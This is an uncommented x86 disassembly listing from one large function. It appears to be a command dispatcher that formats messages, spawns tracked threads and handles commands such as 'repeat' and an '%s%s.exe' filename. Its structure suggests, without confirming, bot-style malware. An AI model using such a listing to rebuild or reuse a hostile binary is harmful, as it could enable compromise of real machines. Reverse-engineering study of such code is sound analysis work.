		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 28h
		jmp	loc_409644
; ---------------------------------------------------------------------------

loc_407984:				; CODE XREF: sub_401ACD+4DA9j
					; sub_401ACD+4DC0j
		push	edi
		call	dword_4CBA24
		push	[ebp+arg_18]
		mov	[ebp+var_680], eax
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+var_690], eax
		call	sub_41C159
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_688], eax
		lea	eax, [ebp+var_710]
		mov	[ebp+var_714], esi
		push	eax
		call	sub_41BFD0
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_678], edi
		push	[ebp+var_688]
		mov	[ebp+var_674], eax
		push	[ebp+var_690]
		push	[ebp+var_680]
		call	dword_4CBA70
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A914
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_684], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_714]
		push	ebx
		push	eax
		push	offset dword_40C92C
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_684]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_407A66

loc_407A50:				; CODE XREF: sub_401ACD+5F97j
		cmp	[ebp+var_670], ebx
		jnz	loc_403D46
		push	32h
		nop
		call	near ptr 2680F3Dh
		jmp	short loc_407A50
; ---------------------------------------------------------------------------

loc_407A66:				; CODE XREF: sub_401ACD+5F81j
		nop
		call	near ptr 269096Bh
		push	eax
		push	offset unk_42AA04
		jmp	loc_403D37
; ---------------------------------------------------------------------------

loc_407A77:				; CODE XREF: sub_401ACD+4D7Bj
					; sub_401ACD+4D92j
		push	edi
		call	sub_41C159
		push	7Fh
		mov	[ebp+var_1130],	eax
		push	[ebp+arg_18]
		lea	eax, [ebp+var_1234]
		push	eax
		call	sub_41BFD0
		push	[ebp+arg_0]
		call	sub_41C159
		mov	esi, [ebp+arg_4]
		add	esp, 14h
		mov	[ebp+var_1134],	eax
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_88]
		mov	[ebp+var_123C],	esi
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	edi, [ebp+var_4]
		mov	[ebp+var_1120],	eax
		push	[ebp+var_1134]
		lea	eax, [ebp+var_1234]
		mov	[ebp+var_1124],	edi
		push	eax
		push	[ebp+var_1130]
		push	esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A8D8
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	18h
		push	eax
		call	sub_40B3BA
		add	esp, 24h
		mov	[ebp+var_112C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_123C]
		push	ebx
		push	eax
		push	offset loc_410DAB
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_112C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_407B63

loc_407B4D:				; CODE XREF: sub_401ACD+6094j
		cmp	[ebp+var_111C],	ebx
		jnz	loc_403D46
		push	32h
		nop
		call	near ptr 2680F3Dh
		jmp	short loc_407B4D
; ---------------------------------------------------------------------------

loc_407B63:				; CODE XREF: sub_401ACD+607Ej
		call	near ptr 269096Bh
		nop
		push	eax
		push	offset unk_42A894
		jmp	loc_403D37
; ---------------------------------------------------------------------------

loc_407B74:				; CODE XREF: sub_401ACD+4D4Dj
					; sub_401ACD+4D64j
		push	0FFh
		lea	eax, [ebp+var_287C]
		push	edi
		push	eax
		call	sub_41BFD0
		push	0FFh
		lea	eax, [ebp+var_277C]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	[ebp+arg_0]
		mov	[ebp+var_2678],	ebx
		call	sub_41C159
		mov	[ebp+var_2674],	eax
		mov	eax, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_407BCD
		push	10h
		push	ebx
		push	eax
		call	sub_41C7A5
		add	esp, 0Ch
		mov	[ebp+var_266C],	eax
		jmp	short loc_407BD3
; ---------------------------------------------------------------------------

loc_407BCD:				; CODE XREF: sub_401ACD+60EAj
		mov	[ebp+var_266C],	ebx

loc_407BD3:				; CODE XREF: sub_401ACD+60FEj
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_407BEA
		push	esi
		call	sub_41C159
		pop	ecx
		mov	[ebp+var_2670],	eax
		jmp	short loc_407BF0
; ---------------------------------------------------------------------------

loc_407BEA:				; CODE XREF: sub_401ACD+610Cj
		mov	[ebp+var_2670],	ebx

loc_407BF0:				; CODE XREF: sub_401ACD+611Bj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2668],	eax
		lea	eax, [ebp+var_28FC]
		mov	[ebp+var_2900],	esi
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_2660],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_2664],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset dword_42A868
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Dh
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_267C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2900]
		push	ebx
		push	eax
		push	offset loc_4167A0
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_267C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_407CA1

loc_407C8B:				; CODE XREF: sub_401ACD+61D2j
		cmp	[ebp+var_265C],	ebx
		jnz	loc_407196
		push	32h
		nop
		call	near ptr 2680F3Dh
		jmp	short loc_407C8B
; ---------------------------------------------------------------------------

loc_407CA1:				; CODE XREF: sub_401ACD+61BCj
		call	near ptr 269096Bh
		nop
		push	eax
		push	offset unk_42A828
		jmp	loc_407187
; ---------------------------------------------------------------------------

loc_407CB2:				; CODE XREF: sub_401ACD+4D1Fj
					; sub_401ACD+4D36j
		push	7Fh
		lea	eax, [ebp+var_3494]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3414]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3394]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3314]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3290],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_328C],	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		mov	[ebp+var_3498],	esi
		push	edi
		push	offset unk_42A7EC
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	12h
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_3294],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3498]
		push	ebx
		push	eax
		push	offset byte_41561D
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_3294]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_407D89

loc_407D73:				; CODE XREF: sub_401ACD+62BAj
		cmp	[ebp+var_3288],	ebx
		jnz	loc_407196
		push	32h
		nop
		call	near ptr 2680F3Dh
		jmp	short loc_407D73
; ---------------------------------------------------------------------------

loc_407D89:				; CODE XREF: sub_401ACD+62A4j
		nop
		call	near ptr 269096Bh
		push	eax
		push	offset unk_42A7B4
		jmp	loc_407187
; ---------------------------------------------------------------------------

loc_407D9A:				; CODE XREF: sub_401ACD+4BF2j
					; sub_401ACD+4C09j
		push	7Fh
		lea	eax, [ebp+var_306C]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_2FEC]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_2F6C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_2EEC]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2E68],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2E64],	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		mov	[ebp+var_3070],	esi
		push	edi
		push	offset unk_42A784
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Eh
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_2E6C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3070]
		push	ebx
		push	eax
		push	offset dword_414358
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_2E6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_407E71

loc_407E5B:				; CODE XREF: sub_401ACD+63A2j
		cmp	[ebp+var_2E60],	ebx
		jnz	loc_407196
		push	32h
		call	near ptr 2680F3Dh
		nop
		jmp	short loc_407E5B
; ---------------------------------------------------------------------------

loc_407E71:				; CODE XREF: sub_401ACD+638Cj
		nop
		call	near ptr 269096Bh
		push	eax
		push	offset unk_42A74C
		jmp	loc_407187
; ---------------------------------------------------------------------------

loc_407E82:				; CODE XREF: sub_401ACD+4AC9j
					; sub_401ACD+4AE0j ...
		push	7Fh
		lea	eax, [ebp+var_3CE8]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3C68]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3BE8]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3B68]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		push	20h
		lea	eax, [ebp+var_3AE8]
		push	[ebp+arg_8]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 3Ch
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3A68],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3A64],	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		mov	[ebp+var_3CF0],	esi
		push	edi
		push	offset unk_42A71C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Dh
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_3CEC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3CF0]
		push	ebx
		push	eax
		push	offset byte_4135DF
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_3CEC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_407F6A

loc_407F54:				; CODE XREF: sub_401ACD+649Bj
		cmp	[ebp+var_3A60],	ebx
		jnz	loc_407196
		push	32h
		nop
		call	near ptr 2680F3Dh
		jmp	short loc_407F54
; ---------------------------------------------------------------------------

loc_407F6A:				; CODE XREF: sub_401ACD+6485j
		nop
		call	near ptr 269096Bh
		push	eax
		push	offset unk_42A6E4
		jmp	loc_407187
; ---------------------------------------------------------------------------

loc_407F7B:				; CODE XREF: sub_401ACD+4A9Bj
					; sub_401ACD+4AB2j
		push	7Fh
		lea	eax, [ebp+var_177C]
		push	edi
		push	eax
		call	sub_41BFD0
		push	[ebp+arg_18]
		call	sub_41C159
		push	3Fh
		mov	[ebp+var_162C],	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_16FC]
		push	eax
		call	sub_41BFD0
		mov	esi, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_407FC6
		push	3Fh
		lea	eax, [ebp+var_16BC]
		push	esi
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch

loc_407FC6:				; CODE XREF: sub_401ACD+64E5j
		lea	eax, [ebp+var_16FC]
		mov	[ebp+var_1628],	1
		push	eax
		lea	eax, [ebp+var_177C]
		push	[ebp+var_162C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A6B4
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Fh
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_1624],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1780]
		push	ebx
		push	eax
		push	offset sub_4017ED
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_1624]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_408052

loc_40803C:				; CODE XREF: sub_401ACD+6583j
		cmp	[ebp+var_1620],	ebx
		jnz	loc_406BFE
		push	32h
		call	near ptr 2680F3Dh
		nop
		jmp	short loc_40803C
; ---------------------------------------------------------------------------

loc_408052:				; CODE XREF: sub_401ACD+656Dj
		call	near ptr 269096Bh
		nop
		push	eax
		push	offset dword_42A678
		jmp	loc_406BEF
; ---------------------------------------------------------------------------

loc_408063:				; CODE XREF: sub_401ACD+4A5Bj
					; sub_401ACD+4A72j
		push	[ebp+arg_18]
		call	sub_41C159
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_1D68],	eax
		jle	loc_408156
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_1EF0]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1D64],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1EF4],	eax
		lea	eax, [ebp+var_1DF0]
		push	esi
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1D60],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_1D5C],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset unk_42A64C
		push	200h
		push	eax
		call	sub_41C360
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	15h
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_1D70],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1EF4]
		push	ebx
		push	eax
		push	offset byte_413A29
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_1D70]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_408145

loc_408133:				; CODE XREF: sub_401ACD+6676j
		cmp	[ebp+var_1D58],	ebx
		jnz	short loc_4081AD
		push	32h
		nop
		call	near ptr 2680F3Dh
		jmp	short loc_408133
; ---------------------------------------------------------------------------

loc_408145:				; CODE XREF: sub_401ACD+6664j
		nop
		call	near ptr 269096Bh
		push	eax
		push	offset unk_42A614
		jmp	loc_408E86
; ---------------------------------------------------------------------------

loc_408156:				; CODE XREF: sub_401ACD+65A7j
		push	offset unk_42A5DC
		jmp	loc_406E22
; ---------------------------------------------------------------------------

loc_408160:				; CODE XREF: sub_401ACD+4A2Dj
					; sub_401ACD+4A44j
		push	[ebp+arg_18]
		push	edi
		nop
		call	near ptr 26B0BDCh
		test	eax, eax
		jz	short loc_40818D
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset unk_42A5B8
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 14h
		jmp	short loc_4081AD
; ---------------------------------------------------------------------------

loc_40818D:				; CODE XREF: sub_401ACD+669Fj
		push	offset dword_42A5AC
		call	sub_418699
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360

loc_4081AA:				; CODE XREF: sub_401ACD+548Dj
					; sub_401ACD+73C5j
		add	esp, 0Ch

loc_4081AD:				; CODE XREF: sub_401ACD+20DCj
					; sub_401ACD+2E89j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4082DE
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]

loc_4081CA:				; CODE XREF: sub_401ACD+56E4j
		call	sub_409869
		add	esp, 14h
		jmp	loc_4082DE
; ---------------------------------------------------------------------------

loc_4081D7:				; CODE XREF: sub_401ACD+49FFj
					; sub_401ACD+4A16j
		push	edi
		lea	eax, [ebp+var_3F08]
		push	104h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_408211
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_408211
		push	eax
		lea	eax, [ebp+var_3E04]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx

loc_408211:				; CODE XREF: sub_401ACD+6722j
					; sub_401ACD+6733j
		push	[ebp+var_88]
		lea	eax, [ebp+var_3F88]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_3F8C],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_3CFC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3CF8],	eax
		lea	eax, [ebp+var_3E04]
		push	eax
		lea	eax, [ebp+var_3F08]
		push	eax
		push	offset unk_42A57C
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	24h
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_3D00],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3F8C]
		push	ebx
		push	eax
		push	offset dword_417054
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_3D00]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_4082C3

loc_4082B1:				; CODE XREF: sub_401ACD+67F4j
		cmp	[ebp+var_3CF4],	ebx
		jnz	short loc_4082DE
		push	32h
		nop
		call	near ptr 2680F3Dh
		jmp	short loc_4082B1
; ---------------------------------------------------------------------------

loc_4082C3:				; CODE XREF: sub_401ACD+67E2j
		call	near ptr 269096Bh
		nop
		push	eax
		push	offset unk_42A540

loc_4082CF:				; CODE XREF: sub_401ACD+909j
					; sub_401ACD+A47j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch

loc_4082DE:				; CODE XREF: sub_401ACD+7C5j
					; sub_401ACD+930j ...
		push	1
		pop	esi
		jmp	loc_406C22
; ---------------------------------------------------------------------------

loc_4082E6:				; CODE XREF: sub_401ACD+49D1j
					; sub_401ACD+49E8j
		push	44h
		lea	eax, [ebp+var_668]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41BF70
		push	1
		mov	[ebp+var_668], esi
		pop	esi
		mov	[ebp+var_638], bx
		push	edi
		mov	[ebp+var_63C], esi
		call	sub_41C159
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_408323
		mov	[ebp+var_638], 5

loc_408323:				; CODE XREF: sub_401ACD+684Bj
		cmp	[ebp+var_C], ebx
		jz	loc_406BFE
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_406BFE
		lea	eax, [ebp+var_E34]
		push	eax
		lea	eax, [ebp+var_668]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		nop
		call	near ptr 2670345h
		test	eax, eax
		jnz	short loc_40836E
		push	offset unk_42A51C
		jmp	loc_4084F5
; ---------------------------------------------------------------------------

loc_40836E:				; CODE XREF: sub_401ACD+6895j
		push	edi
		push	offset dword_42A500
		jmp	loc_406BEF
; ---------------------------------------------------------------------------

loc_408379:				; CODE XREF: sub_401ACD+49A3j
					; sub_401ACD+49BAj
		push	[ebp+arg_18]
		push	offset aDark	; "Dark"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4084F0
		lea	eax, [ebp+var_4BF8]
		push	eax
		push	104h
		call	near ptr 26B0000h
		nop
		push	0FFh
		lea	eax, [ebp+var_25D4]
		push	edi
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_17D4]
		push	eax
		call	sub_40AB77
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_4BF8]
		push	eax
		lea	eax, [ebp+var_24D4]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_41C266
		mov	eax, [ebp+esi+var_84]
		add	esp, 10h
		cmp	eax, ebx
		mov	[ebp+var_23D0],	1
		mov	[ebp+var_23CC],	ebx
		jz	short loc_40840E
		push	10h
		push	ebx
		push	eax
		call	sub_41C7A5
		add	esp, 0Ch
		mov	[ebp+var_23C4],	eax
		jmp	short loc_408414
; ---------------------------------------------------------------------------

loc_40840E:				; CODE XREF: sub_401ACD+692Bj
		mov	[ebp+var_23C4],	ebx

loc_408414:				; CODE XREF: sub_401ACD+693Fj
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_40842B
		push	esi
		call	sub_41C159
		pop	ecx
		mov	[ebp+var_23C8],	eax
		jmp	short loc_408431
; ---------------------------------------------------------------------------

loc_40842B:				; CODE XREF: sub_401ACD+694Dj
		mov	[ebp+var_23C8],	ebx

loc_408431:				; CODE XREF: sub_401ACD+695Cj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_23C0],	eax
		lea	eax, [ebp+var_2654]
		mov	[ebp+var_2658],	esi
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_23B8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_23BC],	eax
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A4C8
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Eh
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	[ebp+var_23D4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2658]
		push	ebx
		push	eax
		push	offset loc_4167A0
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_23D4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_4084DF

loc_4084C9:				; CODE XREF: sub_401ACD+6A10j
		cmp	[ebp+var_23B4],	ebx
		jnz	loc_406BFE
		push	32h
		nop
		call	near ptr 2680F3Dh
		jmp	short loc_4084C9
; ---------------------------------------------------------------------------

loc_4084DF:				; CODE XREF: sub_401ACD+69FAj
		nop
		call	near ptr 269096Bh
		push	eax
		push	offset dword_42A48C
		jmp	loc_406BEF
; ---------------------------------------------------------------------------

loc_4084F0:				; CODE XREF: sub_401ACD+68BDj
		push	offset dword_42A444

loc_4084F5:				; CODE XREF: sub_401ACD+2E30j
					; sub_401ACD+447Dj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_406BFE
; ---------------------------------------------------------------------------

loc_408508:				; CODE XREF: sub_401ACD+4975j
					; sub_401ACD+498Cj
		push	[ebp+var_8C]
		push	offset dword_42CCD8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401F75
		cmp	[ebp+var_C], ebx
		jz	loc_401F75
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A434
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFD0
		push	edi
		call	sub_41C159
		add	esp, 28h
		test	eax, eax
		jle	short loc_408591
		push	edi
		call	sub_41C159
		imul	eax, 3E8h
		pop	ecx
		push	eax
		call	near ptr 2680F3Dh
		nop

loc_408591:				; CODE XREF: sub_401ACD+6AAEj
		push	offset dword_42A420
		call	sub_415D38
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_401F78
; ---------------------------------------------------------------------------

loc_4085A5:				; CODE XREF: sub_401ACD+4947j
					; sub_401ACD+495Ej
		push	[ebp+var_8C]
		push	offset dword_42CCD8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401F75
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		mov	eax, [ebp+arg_18]
		inc	eax
		push	offset aRepeat	; "repeat"
		push	eax
		call	sub_41CA50
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_408664
		push	[ebp+var_88]
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A434
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFD0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset unk_42A408
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		push	edi
		call	sub_41C159
		add	esp, 14h
		test	eax, eax
		jle	loc_409644
		push	edi
		call	sub_41C159
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_401F78
; ---------------------------------------------------------------------------

loc_408664:				; CODE XREF: sub_401ACD+6B1Dj
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A3D4
		push	eax
		call	sub_41C266
		add	esp, 0Ch

loc_408678:				; CODE XREF: sub_401ACD+74E3j
		cmp	[ebp+var_8], ebx
		jnz	short loc_408699
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h

loc_408699:				; CODE XREF: sub_401ACD+6BAEj
					; sub_401ACD+71C7j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		jmp	loc_409643
; ---------------------------------------------------------------------------

loc_4086AA:				; CODE XREF: sub_401ACD+4919j
					; sub_401ACD+4930j
		push	7Fh
		lea	eax, [ebp+var_2218]
		push	edi
		push	eax
		call	sub_41BFD0
		push	7Fh
		lea	eax, [ebp+var_2198]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	7Fh
		lea	eax, [ebp+var_2118]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_2094],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_221C],	esi
		push	[ebp+arg_18]
		mov	[ebp+var_2090],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset unk_42A3A0
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Fh
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_2098],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_221C]
		push	ebx
		push	eax
		push	offset byte_414F57
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_2098]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_40876E

loc_408758:				; CODE XREF: sub_401ACD+6C9Fj
		cmp	[ebp+var_208C],	ebx
		jnz	loc_40885A
		push	32h
		call	near ptr 2680F3Dh
		nop
		jmp	short loc_408758
; ---------------------------------------------------------------------------

loc_40876E:				; CODE XREF: sub_401ACD+6C89j
		nop
		call	near ptr 269096Bh
		push	eax
		push	offset unk_42A364
		jmp	loc_40884B
; ---------------------------------------------------------------------------

loc_40877F:				; CODE XREF: sub_401ACD+48EBj
					; sub_401ACD+4902j
		push	7Fh
		lea	eax, [ebp+var_23AC]
		push	edi
		push	eax
		call	sub_41BFD0
		push	7Fh
		lea	eax, [ebp+var_232C]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	7Fh
		lea	eax, [ebp+var_22AC]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		add	esp, 24h
